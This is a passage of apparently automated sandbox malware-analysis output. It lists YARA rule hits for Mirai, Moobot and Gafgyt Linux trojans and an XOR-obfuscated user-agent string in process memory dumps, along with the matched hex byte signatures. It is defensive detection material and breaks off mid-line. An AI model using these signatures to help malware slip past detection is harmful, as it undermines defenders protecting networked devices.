7389.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6391.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6391.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6391.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6391.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6391.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6391.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6843.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6843.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6843.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6843.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6843.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6843.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7341.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7341.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7341.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7341.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7341.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7341.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7182.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6712.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6712.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6712.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6712.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6712.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6712.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6465.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7120.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7120.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7120.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7120.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7120.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7120.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6520.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6862.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6862.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6862.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6862.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6862.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 